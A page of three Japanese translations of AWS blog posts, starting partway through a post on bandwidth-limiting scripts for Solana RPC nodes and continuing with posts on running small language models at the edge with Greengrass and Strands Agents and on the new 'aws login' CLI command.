Behind」のメトリクスを収集して、ノードの同期速度と安定性を比較しました。 テストの結果、ノードは 20 MiBps という低いアウトバウンドトラフィック帯域幅 (月間約 6.5 TiB) で同期を維持でき、最適な価格対パフォーマンス比は 40-50 MiBps で達成され、推定データ転送コストを 85% 以上削減できることが示されました。 テスト期間全体を通じて、5 つのノードすべてが同期を維持し、アウトバウンド帯域幅を削減してもノードの同期状態に影響しないことが確認されました。 驚くべきことに、Agave v2.2.16 でアウトバウンドトラフィック帯域幅を 20-50 MiBps に制限したノードは、制限のないコントロールノードと比較して最大 5%より一貫して同期を維持しました。 Agave RPC ノードのトラフィックシェーピングの設定 これらの結果に基づき、AWS Blockchain Node Runners の Solana ブループリントに動的トラフィックシェーピングを導入しました ( Optimizing Data Transfer Costs を参照)。 その実装の主要な部分は以下のとおりです。 net-rules-start.sh はトラフィックシェーピングを有効にします。 #!/bin/bash # Specify max value for outbound data traffic in Mbps. LIMIT_OUT_TRAFFIC_MBPS=20 # Step 1: Create nftables rules to mark packets going to public IPs # Create table if it doesn't exist if ! nft list table inet mangle >/dev/null 2>&1 ; then nft add table inet mangle fi # Create chain if it doesn't exist if ! nft list chain inet mangle output >/dev/null 2>&1 ; then nft add chain inet mangle output { type route hook output priority mangle\ ; } fi # Check if specific private IP return rule exists if ! nft list chain inet mangle output | grep -q "10\.0\.0\.0/8.*172\.16\.0\.0/12.*192\.168\.0\.0/16.*169\.254\.0\.0/16.*return"; then nft add rule inet mangle output ip daddr { 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 } return fi # Check if mark rule with value 1 exists if ! nft list chain inet mangle output | grep -q "meta mark set 0x00000001"; then nft add rule inet mangle output meta mark set 1 fi # Step 2: Set up tc with filter for marked packets INTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1) # Check if root qdisc already exists if ! tc qdisc show dev $INTERFACE | grep -q "qdisc prio 1:"; then tc qdisc add dev $INTERFACE root handle 1: prio fi # Step 3: Add the tbf filter for marked packets # Check if filter already exists if ! tc filter show dev $INTERFACE | grep -q "handle 0x1 fw"; then tc filter add dev $INTERFACE parent 1: protocol ip handle 1 fw flowid 1:1 fi # Check if tbf qdisc already exists on class 1:1 if ! tc qdisc show dev $INTERFACE | grep -q "parent 1:1"; then tc qdisc add dev $INTERFACE parent 1:1 tbf rate "${LIMIT_OUT_TRAFFIC_MBPS}mbit" burst 20kb latency 50ms fi net-rules-stop.sh はすべてのトラフィックシェーピングを削除します: #!/bin/bashINTERFACE=$(ip -br addr show | grep -v '^lo' | awk '{print $1}' | head -n1)# Remove tc rulestc qdisc del dev $INTERFACE root 2>/dev/null# Remove nftables rules# Delete the entire mangle table (removes all chains and rules)nft delete table inet mangle 2>/dev/nullexit 0 ; 簡単にするために、自動化スクリプト net-rules-start.sh と net-rules-stop.sh は systemd サービス net-rules.service を通じて制御されます。 [Unit] Description="ipables and Traffic Control Rules" After=network.target [Service] Type=oneshot RemainAfterExit=yes ExecStart=/opt/instance/network/net-rules-start.sh ExecStop=/opt/instance/network/net-rules-stop.sh [Install] WantedBy=multi-user.target net-syncchecker.sh は、内部からアクセスする API を使用してノードの同期ステータスをチェックし、net-rules サービスでトラフィックシェーピングのオンとオフを切り替えます。これは 1 分ごとに呼び出す必要があるため、 systemd timer や cron のような他のサービス を使用してスケジュールできます。 #!/bin/bash INIT_COMPLETED_FILE=/data/data/init-completed MAX_SOLANA_SLOTS_BEHIND=10 # Check if jq is available if ! command -v jq &> /dev/null ; then echo "Error: jq is required but not installed" exit 1 fi TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") if [ -z "$TOKEN" ] ; then echo "Error: Failed to get EC2 metadata token" exit 1 fi EC2_INTERNAL_IP=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/local-ipv4) # Start checking the sync node status only after the node has finished the initial sync if [ -f "$INIT_COMPLETED_FILE" ] ; then SOLANA_SLOTS_BEHIND_DATA=$(curl -s -X POST -H "Content-Type: application/json" -d ' {"jsonrpc":"2.0","id":1, "method":"getHealth"}' http://$EC2_INTERNAL_IP:8899 | jq .error.data) SOLANA_SLOTS_BEHIND=$(echo $SOLANA_SLOTS_BEHIND_DATA | jq .numSlotsBehind -r) if [ "$SOLANA_SLOTS_BEHIND" == "null" ] || [ -z "$SOLANA_SLOTS_BEHIND" ] then SOLANA_SLOTS_BEHIND=0 fi if [ $SOLANA_SLOTS_BEHIND -gt $MAX_SOLANA_SLOTS_BEHIND ] then if systemctl is-active --quiet net-rules ; then systemctl stop net-rules fi fi if [ $SOLANA_SLOTS_BEHIND -eq 0 ] then if ! systemctl is-active --quiet net-rules ; then systemctl start net-rules fi fi fi 本番環境で使用する前に、この投稿のコードまたは AWS Blockchain Node Runners について: これらのスクリプトを安全な環境でレビューおよびテストしてください 必要に応じて入力検証を追加してください 適切なエラー処理とログ記録を実装してください 必要最小限の権限でスクリプトを実行してください まとめ この記事では、Solana Agave v2.x で導入された変更により必要な CPU クロック速度が増加したことを確認し、アジア太平洋地域における Solana Agave クライアントの同期時間を改善する方法を検討し、Solana RPC ノードのデータ転送コストを最適化する方法を紹介しました。 これらの最適化をご自身のノードでテストするか、 AWS Blockchain Node Runners イニシアチブの Solana ブループリント を使用してください。 さらに質問がある場合は、 AWS re:Post で「blockchain」タグを付けて質問するか、 Solana StackExchange でディスカッションに参加するか、 Solana コミュニティ にお問い合わせください。 著者について Tao Gong Tao はブロックチェーン技術の愛好家です。AWS 上で革新的なソリューションを構築するために顧客と協力し、ビジネス上の課題を克服し、AWS サービスを効率的に採用できるよう支援しています。 Jinsong Zhu Jinsong は AWS のシニアソリューションアーキテクトで、大手 Web3 および暗号資産企業向けに高性能、低レイテンシー、コスト最適化されたクラウドソリューションの設計を専門としています。 Nikolay Vlasov Nikolay は、AWS Worldwide Specialist Solutions Architect 組織における分散型台帳技術インフラストラクチャのグローバルリードです。顧客が AWS 上で分散型ウェブおよび台帳技術のワークロードを実行できるよう支援しています。

本記事は 2025 年 12 月 19 日に公開された Deploying Small Language Models at Scale with AWS IoT Greengrass and Strands Agents を翻訳したものです。翻訳はソリューションアーキテクトの中西貴大が担当しました。 はじめに 現代の製造業は、ますます複雑な課題に直面しています。セキュリティとパフォーマンスの基準を維持しながら、リアルタイムの運用データに応答するインテリジェントな意思決定システムの実装する、という課題です。センサーデータ量と運用の複雑性に対処するためには、即時応答を必要とする場合にはローカルで情報を処理し、複雑なタスクの場合にはクラウドリソースを活用する AI ソリューションが必要です。 業界は、エッジコンピューティングと AI が融合する重要な岐路に立たされています。Small Language Models (SLM) は、制約のある GPU ハードウェア上で実行できるほど軽量でありながら、コンテキストを理解した洞察を提供するのに十分な性能を持っています。Large Language Models (LLM) とは異なり、SLM は産業用 PC やゲートウェイの電力や熱に関する制約を満たすため、リソースが限られ信頼性が最も重要な工場環境に最適です。このブログ投稿では、SLM は約 30 億から 150 億のパラメータを持つと仮定します。 このブログでは、製造業における代表的なプロトコルとして Open Platform Communications Unified Architecture (OPC-UA) に焦点を当てます。OPC-UA サーバーは標準化されたリアルタイムの機械データを提供し、エッジで実行される SLM がそのデータを消費できるため、オペレーターは機器のステータスの照会、テレメトリの解釈、ドキュメントへの即時アクセスが可能になります。これらはクラウド接続がなくても実現できます。 AWS IoT Greengrass は、SLM を Greengrass コンポーネント （例: Lambda 関数やカスタムコンポーネント）として OPC-UA ゲートウェイに直接デプロイすることで、このハイブリッドパターンを実現します。ローカル推論により、安全上重要なタスクの応答性が確保される一方、クラウドでは、より強力なセキュリティ制御の下で、フリート全体の分析、マルチサイトの最適化、またはモデルの再学習が処理されます。 このハイブリッドアプローチは、さまざまな業界で可能性を広げます。 自動車メーカーは、車両のコンピュートユニットで SLM を実行して、自然な音声コマンドと強化された運転体験を提供できます 。エネルギープロバイダーは、変電所で SCADA センサーデータをローカルで処理できます。ゲーム業界では、 SLM をプレイヤーのデバイス上で実行して、ゲーム内の AI コンパニオンを提供できます 。製造業を超えて、 高等教育機関では SLM を使用して、個別化された学習、校正、研究支援、コンテンツ生成を提供できます 。 このブログでは、AWS IoT Greengrass を使用して SLM をエッジにシームレスかつ大規模にデプロイする方法を見ていきます。 ソリューションの概要 このソリューションは AWS IoT Greengrass を使用してエッジデバイス上に SLM をデプロイおよび管理し、Strands Agents がローカルエージェント機能を提供します。使用されるサービスには以下が含まれます。 AWS IoT Greengrass : デバイスソフトウェアのデプロイ、管理、監視を可能にするオープンソースのエッジソフトウェアおよびクラウドサービスです。 AWS IoT Core : IoT デバイスを AWS クラウドに接続できるサービスです。 Amazon Simple Storage Service (S3) : あらゆる量のデータを保存および取得できる、高度にスケーラブルなオブジェクトストレージです。 Strands Agents : クラウドおよびローカル推論を使用してマルチエージェントシステムを実行するための軽量な Python フレームワークです。 コードサンプルでは、産業オートメーションのシナリオを使用してエージェントの機能をデモンストレーションします。オーブンとコンベヤーベルトで構成される工場を定義する OPC-UA シミュレーター、および産業データのソースとしてメンテナンスランブックが含まれます。このソリューションは、他のエージェントツールを使用することで、他のユースケースにも拡張できます。下図に、概要レベルのアーキテクチャを示します。 ユーザーは GPT-Generated Unified Format (GGUF) 形式のモデルファイルを、 Amazon S3 バケットにアップロードします。このバケットには AWS IoT Greengrass デバイスがアクセスできます。 フリート内のデバイスがファイルダウンロードジョブを受信します。 S3FileDownloader コンポーネントがこのジョブを処理し、S3 バケットからデバイスにモデルファイルをダウンロードします。S3FileDownloader コンポーネントは大容量ファイルを処理でき、Greengrass コンポーネントアーティファクトのサイズ制限を超えがちな SLM モデルファイルに必要な機能です。 GGUF 形式のモデルファイルは、Strands Agents コンポーネントが Ollama への最初の呼び出しを行う際に Ollama に読み込まれます。GGUF は LLM を格納するためのバイナリファイル形式です。Ollama は GGUF モデルファイルを読み込んで推論を実行するソフトウェアです。モデル名はコンポーネントの recipe.yaml ファイルで指定されます。 ユーザーは AWS IoT MQTT broker のデバイス固有のエージェントトピックにペイロードをパブリッシュして、ローカルエージェントにクエリを送信します。 クエリを受信後、コンポーネントは Strands Agents SDK のモデル非依存なオーケストレーション機能を活用します。Orchestrator Agent はクエリを認識し、必要な情報源について推論し、応答を形成する前に包括的なデータを収集するために適切な特化エージェント (Documentation Agent、OPC-UA Agent、またはその両方) を呼び出します。 クエリがドキュメント内で見つけることができる情報に関連している場合、Orchestrator Agent は Documentation Agent を呼び出します。 Documentation Agent は提供されたドキュメントから情報を見つけ、それを Orchestrator Agent に返します。 クエリが現在または過去のマシンデータに関連している場合、Orchestrator Agent は OPC-UA Agent を呼び出します。 OPC-UA Agent はユーザークエリに応じて OPC-UA サーバーにクエリを実行し、サーバーからのデータを Orchestrator Agent に返します。 Orchestrator Agent は収集した情報に基づいて応答を形成します。Strands Agents コンポーネントは AWS IoT MQTT broker のデバイス固有のエージェント応答トピックに応答をパブリッシュします。 Strands Agent SDK により、システムはエッジで Ollama を通じてローカルにデプロイされた基盤モデルで動作できると同時に、接続が利用可能な場合は Amazon Bedrock などのクラウドベースのモデルに切り替えるオプションを維持します。 AWS IAM Greengrass サービスロールが S3 リソースバケットへのアクセスを提供し、デバイスにモデルをダウンロードします。 IoT thing にアタッチされた AWS IoT 証明書により、Strands Agents コンポーネントは AWS IoT Core に対して MQTT ペイロードの受信とパブリッシュができます。 Greengrass コンポーネントはコンポーネントの動作をローカルファイルシステムにログ出力します。オプションで、 AWS CloudWatch ログを有効にして CloudWatch コンソールでコンポーネントの動作を監視できます。 前提事項 このウォークスルーを開始する前に、以下のことを確認してください。 AWS アカウント 。 AWS IoT Greengrass と SLM を実行するデバイス（例: NVIDIA Jetson Orin Nano または Amazon Elastic Compute Cloud (EC2) GPU インスタンス ）。Greengrass のデプロイについて詳しくは、 チュートリアル: AWS IoT Greengrass V2 の開始方法 のドキュメントをご参照ください。提供されたテンプレートを使用して、作業環境を EC2 にデプロイできます。 デバイスに Ollama がインストールされ、実行されていること。 デバイスに Python 3.10 + がインストールされていること。 AWS IoT Greengrass Development Kit (GDK) CLI がインストールされていること。 エージェントとツール呼び出しをサポートする SLM (例: Qwen 3)。 ウォークスルー この記事では、以下のことを行います。 Strands Agents を AWS IoT Greengrass コンポーネントとしてデプロイします。 SLM をエッジデバイスにダウンロードします。 デプロイされたエージェントをテストします。 コンポーネントのデプロイ まず、StrandsAgentGreengrass コンポーネントをエッジデバイスにデプロイしましょう。Strands Agents リポジトリをクローンします。 git clone https://github.com/aws-solutions-library-samples/guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass.git cd guidance-for-deploying-ai-agents-to-device-fleets-using-aws-iot-greengrass Greengrass Development Kit (GDK) を使用してコンポーネントをビルドおよび公開します： コンポーネントを公開するには、 gdk-config.json ファイル内のリージョンとバケットの値を変更する必要があります。推奨されるアーティファクトバケット値は greengrass-artifacts です。GDK は、バケットが存在しない場合、 greengrass-artifacts-<region>-<account-id> のような形式でバケットを生成します。詳細については、 Greengrass Development Kit CLI configuration file のドキュメントを参照してください。 バケットとリージョンの値を変更した後、以下のコマンドを実行してコンポーネントをビルドおよび公開します。 gdk component build gdk component publish コンポーネントは AWS IoT Greengrass Components Console に表示されます。デバイスにコンポーネントをデプロイするには、 コンポーネントをデプロイする ドキュメントを参照してください。 デプロイ後、コンポーネントはデバイス上で実行されます。これは Strands Agents、OPC-UA シミュレーションサーバー、サンプルドキュメントで構成されています。Strands Agents は SLM 推論エンジンとして Ollama サーバーを使用します。このコンポーネントには、シミュレートされたリアルタイムデータとエージェントが使用するサンプル機器マニュアルを取得するための OPC-UA およびドキュメントツールが含まれています。 Amazon EC2 インスタンスでコンポーネントをテストしたい場合は、 IoTResources.yaml Amazon CloudFormation テンプレートを使用して、必要なソフトウェアがインストールされた GPU インスタンスをデプロイできます。このテンプレートでは、Greengrass を実行するためのリソースも作成されます。スタックのデプロイ後、 AWS IoT Greengrass コンソール に Greengrass Core デバイスが表示されます。CloudFormation スタックは、リポジトリの source/cfn フォルダにあります。CloudFormation スタックのデプロイ方法については、 CloudFormation コンソールからスタックを作成する ドキュメントをお読みください。 モデルファイルのダウンロード このコンポーネントには、Ollama が SLM として使用する GGUF 形式のモデルファイルが必要です。エッジデバイスの /tmp/destination/ フォルダにモデルファイルをコピーする必要があります。コンポーネントの recipe.yaml ファイルでデフォルトの ModelGGUFName パラメータを使用する場合、モデルファイル名は model.gguf である必要があります。 GGUF 形式のモデルファイルがない場合は、Hugging Face からダウンロードできます。例えば Qwen3-1.7B-GGUF です。実際のアプリケーションでは、これはユースケースに対する特定のビジネス課題を解決するファインチューニング済みのモデルになります。 (オプション) S3FileDownloader を使用したモデルファイルのダウンロード エッジデバイスへのモデル配布を大規模に管理するには、 S3FileDownloader AWS IoT Greengrass コンポーネントを使用できます。このコンポーネントは、自動リトライと再開機能をサポートしているため、接続が不安定な環境で大きなファイルをデプロイする際に特に有効です。モデルファイルのサイズは大きくなる可能性があり、多くの IoT ユースケースではデバイスの接続性が信頼できないため、このコンポーネントはデバイスフリートに対してモデルを確実にデプロイするのに役立ちます。 S3FileDownloader コンポーネントをデバイスにデプロイした後、 AWS IoT MQTT Test Client を使用して、以下のペイロードを things/<MyThingName>/download トピックに発行できます。ファイルは Amazon S3 バケットからダウンロードされ、エッジデバイスの /tmp/destination/ フォルダに配置されます。 {     "jobId": "filedownload",     "s3Bucket": "<ModelFileBucket>",     "key":"model.gguf" } リポジトリで提供されている CloudFormation テンプレートを使用した場合は、このテンプレートによって作成された S3 バケットを使用できます。バケット名を確認するには、CloudFormation スタックのデプロイ出力を参照してください。 ローカルエージェントのテスト デプロイが完了してモデルがダウンロードされたら、 AWS IoT Core MQTT Test Client を通じてエージェントをテストできます。手順は次のとおりです。 things/<MyThingName>/# トピックをサブスクライブして、エージェントのレスポンスを表示します。 入力トピック things/<MyThingName>/agent/query にテストクエリをパブリッシュします： {     "query": "What is the status of the conveyor belt?" } 複数のトピックでレスポンスを受信します: 最終レスポンストピック ( things/<MyThingName>/agent/response ) には、Orchestrator Agent の最終レスポンスが含まれます: {     "query": "What is the status of the oven?",     "response": "The oven is currently operating at 802.2°F (slightly above the setpoint of 800.0°F), with heating active...",     "timestamp": 1757677413.6358254,     "status": "success" } サブエージェントレスポンス ( things/<MyThingName>/agent/subagent ) には、OPC-UA Agent や Documentation Agent などの中間エージェントからのレスポンスが含まれています。 {     "agent": "opc factory",     "query": "Get current oven status",     "response": "** Oven Status Report:** \n- ** Current Temperature:** 802.2°F...",     "timestamp": 1757677323.443954 } エージェントはローカル SLM を使用してクエリを処理し、OPC-UA シミュレートデータとローカルに保存された機器ドキュメントの両方に基づいて応答を提供します。デモンストレーションの目的で、AWS IoT Core MQTT テストクライアントをローカルデバイスとの通信用の簡単なインターフェースとして使用します。プロダクション環境では、Strands Agents はデバイス内のみで完全に動作させることができ、クラウドとの通信は必須ではありません。 コンポーネントのモニタリング コンポーネントの動作を監視するには、AWS IoT Greengrass デバイスにリモートで接続し、コンポーネントログを確認します。 sudo tail -f /greengrass/v2/logs/com.strands.agent.greengrass.log これにより、モデルの読み込み、クエリ処理、レスポンス生成など、エージェントのリアルタイム動作を確認できます。Greengrass のログシステムの詳細については、 AWS IoT Greengrass ログのモニタリング のドキュメントで詳しく学ぶことができます。 クリーンアップ この記事で作成したリソースを削除するには、 AWS IoT Core Greengrass コンソール にアクセスしてください。 デプロイ に移動し、コンポーネントのデプロイに使用したデプロイメントを選択して、Strands Agents コンポーネントを削除してデプロイメントを修正します。 S3FileDownloader コンポーネントをデプロイしている場合は、前のステップで説明したようにデプロイメントから削除できます。 コンポーネント に移動し、Strands Agents コンポーネントを選択して バージョンを削除 を選択してコンポーネントを削除します。 S3FileDownloader コンポーネントを作成している場合は、前のステップで説明したように削除できます。 EC2 インスタンスでデモを実行するために CloudFormation スタックをデプロイした場合は、 AWS CloudFormation コンソール からスタックを削除してください。EC2 インスタンスは停止または終了されるまで時間料金が発生することに注意してください。 Greengrass コアデバイスが不要な場合は、Greengrass コンソールの コアデバイス セクションから削除できます。 Greengrass コアデバイスを削除した後、モノに接続されている IoT 証明書を削除します。モノの証明書を見つけるには、 AWS IoT モノ コンソール に移動し、このガイドで作成したモノを選択して、 証明書 タブを表示し、接続されている証明書を選択して、 アクション を選択してから、 無効化 と 削除 を実施します。 結論 この投稿では、AWS IoT Greengrass 上の Strands Agents を通じて統合された Ollama を使用して、SLM をローカルで実行する方法を示しました。このワークフローは、軽量な AI モデルを制約のあるハードウェア上にデプロイして管理しつつ、スケールと監視のためのクラウド統合の恩恵を受ける方法を実証しました。製造業の例として OPC-UA を使用し、エッジの SLM により、限られた接続環境でも、オペレーターが機器のステータスを照会し、テレメトリを解釈し、リアルタイムでドキュメントにアクセスできることを示しました。重要な決定はローカルで実行され、複雑な分析と再学習は安全にクラウドで処理されるという、ハイブリッドな方式です。このアーキテクチャを拡張して、エッジ AI エージェント (AWS IoT Greengrass を使用) とクラウドベースのエージェント (Amazon Bedrock を使用) がシームレスに統合されるハイブリッドクラウドエッジ AI エージェントシステムを作成できます。これにより分散コラボレーションが可能になります。エッジエージェントはリアルタイムの低レイテンシ処理と即座のアクションを管理し、クラウドエージェントは複雑な推論、データ分析、モデル改良、オーケストレーションを処理します。 著者について Ozan Cihangir is a Senior Prototyping Engineer at AWS Specialists & Partners Organization. He helps customers to build innovative solutions for their emerging technology projects in the cloud. Luis Orus is a senior member of the AWS Specialists & Partners Organization, where he has held multiple roles – from building high-performing teams at global scale to helping customers innovate and experiment quickly through prototyping. Amir Majlesi leads the EMEA prototyping team within AWS Specialists & Partners Organization. He has extensive experience in helping customers accelerate cloud adoption, expedite their path to production and foster a culture of innovation. Through rapid prototyping methodologies, Amir enables customer teams to build cloud native applications, with a focus on emerging technologies such as Generative & Agentic AI, Advanced Analytics, Serverless and IoT. Jaime Stewart focused his Solutions Architect Internship within AWS Specialists & Partners Organization around Edge Inference with SLMs. Jaime currently pursues a MSc in Artificial Intelligence.

本ブログは 2025 年 11 月 19 日に公開された AWS Blog “ Simplified developer access to AWS with ‘aws login’ ” を翻訳したものです。 AWS でのローカル開発用の認証情報の取得が、よりシンプルで安全になりました。新しい AWS Command Line Interface ( AWS CLI ) コマンド aws login を使用すると、長期アクセスキーを作成・管理することなく、AWS にサインアップした直後からすぐに構築を開始できます。 AWS マネジメントコンソール で使用しているのと同じサインイン方法を利用できます。 このブログでは、新しい aws login コマンドを使用して、AWS CLI、AWS Software Development Kit (AWS SDK)、およびそれらを使用して構築されたツールやアプリケーション向けの一時的な認証情報をワークステーションに取得する方法を紹介します。 AWS へのプログラムによるアクセスを始める 以下のセクションで説明するように、AWS マネジメントコンソールのサインイン方法で aws login コマンドを使用できます。 シナリオ 1: IAM 認証情報 (ルートまたは IAM ユーザー) を使用する ルートユーザーまたは IAM ユーザーのユーザー名とパスワードを使用してプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 最新の AWS CLI (バージョン 2.32.0 以降) をインストールします aws login コマンドを実行します デフォルトの AWS リージョン を設定していない場合、リージョンの入力を求められます (例: us-east-2、eu-central-1)。このプロンプトで一度入力すると、AWS CLI はその設定を記憶します。 図 1: AWS CLI のリージョンプロンプト AWS CLI がデフォルトのブラウザを開きます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合は、「Continue with an active session」(アクティブなセッションで続行) という画面が表示されます。 図 2: AWS サインイン – アクティブセッションの選択 AWS マネジメントコンソールにサインインしていない場合は、サインインオプションページが表示されます。「Continue with Root or IAM user」(ルートユーザーまたは IAM ユーザーで続行) を選択し、AWS アカウントにログインします。 図 3: AWS サインイン – サインインオプション 成功です！AWS CLI コマンドを実行する準備ができました。 aws sts get-caller-identity コマンドを試して、現在使用している ID を確認してください。 図 4: AWS サインイン – 完了 シナリオ 2: フェデレーションサインインを使用する このシナリオは、組織の ID プロバイダーを通じて認証する場合に適用されます。フェデレーションで引き受けたロールのプログラムによるアクセス用の認証情報を取得するには、以下の手順を実行します。 シナリオ 1 のステップ 1〜4 を完了してから、以下の手順に進みます ブラウザウィンドウの指示に従います。 すでに AWS マネジメントコンソールにサインインしている場合、ブラウザにはフェデレーションサインインからコンソールへのアクティブな IAM ロールセッションを選択するオプションが表示されます。AWS マネジメントコンソールで マルチセッションサポート を有効にしている場合、最大 5 つのアクティブな AWS セッションを切り替えることができます。 図 5: AWS サインイン – アクティブな IAM ロールセッションの選択 AWS マネジメントコンソールにサインインしていない場合、または別の IAM ロールの一時的な認証情報を取得したい場合は、別のブラウザタブで現在の認証メカニズムを使用して AWS アカウントにサインインします。ログインに成功したら、このタブに戻り、「Refresh」(更新) ボタンを選択します。コンソールセッションがアクティブセッションの下に表示されます aws login プロセスが正常に完了したら、AWS CLI に戻ります 選択したコンソールサインイン方法に関係なく、 aws login コマンドによって発行された一時的な認証情報は、AWS CLI、AWS Tools for PowerShell、AWS SDK によって 15 分ごとに自動的にローテーションされます。これらの認証情報は、IAM プリンシパルに設定されたセッション期間 (最大 12 時間) まで有効です。セッション期間の制限に達すると、再度ログインするよう求められます。 図 6: AWS サインイン – セッションの有効期限 ローカル開発ツールを使用した AWS へのアクセス aws login コマンドでは、プロファイルを使用して複数の AWS アカウントとロールを切り替えることができます。 aws login --profile <PROFILE_NAME> でプロファイルを設定し、 aws sts get-caller-identity --profile <PROFILE_NAME> でそのプロファイルを使用して AWS コマンドを実行できます。 aws login によって発行された一時的な認証情報は、AWS CLI 以外でも使用できます。以下のツールでも利用可能です。 AWS SDK : 開発に AWS SDK を使用している場合、SDK クライアントはこれらの一時的な認証情報を使用して AWS に認証できます AWS Tools for PowerShell : Invoke-AWSLogin コマンドを使用します リモート開発サーバー : ブラウザにアクセスできないリモートサーバーで aws login --remote を使用すると、ブラウザで AWS コンソールにアクセスできるデバイスから一時的な認証情報を取得できます 新しいコンソール認証情報プロバイダーをサポートしていない古いバージョンの AWS SDK: これらの古い SDK を使用して構築されたソフトウェアは、AWS CLI の credential_process プロバイダー を使用することで、 aws login によって提供される認証情報をサポートできます IAM ポリシーによる aws login へのアクセス制御 aws login コマンドは、 signin:AuthorizeOAuth2Access と signin:CreateOAuth2Token の 2 つの IAM アクションによって制御されます。 SignInLocalDevelopmentAccess マネージドポリシーを使用するか、これらのアクションを IAM ポリシーに追加して、コンソールアクセス権を持つ IAM ユーザーと IAM ロールがこの機能を使用できるようにします。 AWS Organizations を使用していて、メンバーアカウントでのこのログイン機能の使用を制御したい場合は、サービスコントロールポリシー (SCP) を使用して上記の 2 つのアクションを拒否できます。これらの IAM アクションとそのリソースは、すべての関連する IAM ポリシーで使用できます。 AWS では、AWS Organizations で 一元化されたルートアクセス管理 を使用して、メンバーアカウントから長期ユーザー認証情報を排除することを推奨しています。この機能により、セキュリティチームは中央の管理アカウントから短期間でタスクが限定されたルートセッションを通じて特権タスクを実行できます。一元化されたルート管理を有効にしてメンバーアカウントのルートユーザー認証情報を削除すると、メンバーアカウントへのルートユーザーログインが拒否され、aws login を使用したルートユーザー認証情報によるプログラムによるアクセスも防止されます。ルートユーザー認証情報または IAM ユーザーを使用している開発者にとって、 aws login は開発ツールに一時的な認証情報を提供し、有効期限のない長期アクセスキーに代わる安全な方法となります。 aws login を使用したプログラムによるアクセスのログ記録とセキュリティ AWS サインインは AWS CloudTrail を通じて API アクティビティをログに記録します。CloudTrail には aws login 固有の 2 つの新しいイベントが追加されました。このサービスは、ユーザーがログインした AWS リージョンで AuthorizeOAuth2Access と CreateOauth2Token という 2 つの新しいイベント名を記録します。 以下は AuthorizeOAuth2Access イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser", "arn": "arn:aws:sts::225989345271:assumed-role/Admin/testuser, "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "11111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-17T22:50:14Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-17T22:51:32Z", "eventSource": "signin.amazonaws.com", "eventName": "AuthorizeOAuth2Access", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36", "requestParameters": { "scope": "openid", "redirect_uri": "http://127.0.0.1:53037/oauth/callback", "code_challenge_method": "SHA-256", "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "e2854c76-1cba-4360-9fd1-5037b591466b", "eventID": "59e1720d-3deb-44ff-933d-6828be2a860a", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } 以下は CreateOAuth2Token イベントの CloudTrail サンプルです。 { "eventVersion": "1.11", "userIdentity": { "type": "AssumedRole", "principalId": "AROATJHQDX737YZP72NTF:testuser-Isengard", "arn": "arn:aws:sts::111111111111:assumed-role/Admin/testuser-Isengard", "accountId": "111111111111", "sessionContext": { "sessionIssuer": { "type": "Role", "principalId": "AROATJHQDX737YZP72NTF", "arn": "arn:aws:iam::111111111111:role/Admin", "accountId": "111111111111", "userName": "Admin" }, "attributes": { "creationDate": "2025-11-18T20:38:10Z", "mfaAuthenticated": "false" } } }, "eventTime": "2025-11-18T20:38:44Z", "eventSource": "signin.amazonaws.com", "eventName": "CreateOAuth2Token", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.2", "userAgent": "aws-cli/2.32.0 md/awscrt#0.28.4 ua/2.1 os/macos#24.6.0 md/arch#arm64 lang/python#3.13.9 md/pyimpl#CPython m/b,AA,Z,E cfg/retry-mode#standard md/installer#exe sid/35033f4ca1bd md/prompt#off md/command#login", "requestParameters": { "client_id": "arn:aws:signin:::devtools/same-device" }, "responseElements": null, "additionalEventData": { "success": "true", "x-amzn-vpce-id": "" }, "requestID": "94562943-c85b-4dc1-bf72-43b0fd42d6de", "eventID": "0b338fac-6a10-4740-b34d-1bb6923e799e", "readOnly": true, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "us-east-1.signin.aws.amazon.com" } } aws login コマンドは、認可コード傍受攻撃から保護するために、PKCE (Proof Key for Code Exchange) を使用した OAuth 2.0 認可コードフローを採用しています。これにより、AWS での開発を始めるために IAM ユーザーアクセスキーを設定する代わりとなる、安全な方法が提供されます。長期 IAM アクセスキーに代わる最新の認証アプローチについては、AWS Security Blog「 IAM アクセスキーからの脱却: AWS におけるモダンな認証アプローチ 」を参照してください。 まとめ AWS ローカル開発用ログイン機能は、AWS へのプログラムによるアクセスにおいて長期認証情報の使用を排除するのに役立つ、デフォルトで安全な機能強化です。 aws login を使用すると、AWS マネジメントコンソールへのサインインに使用しているのと同じ認証情報で、すぐに構築を開始できます。この機能は、すべての AWS 商用リージョン (中国と GovCloud を除く) で追加費用なしでご利用いただけます。 詳細については、 AWS CLI ユーザーガイド の認証とアクセスのセクションをご覧ください。 Shreya Jain Shreya は AWS Identity 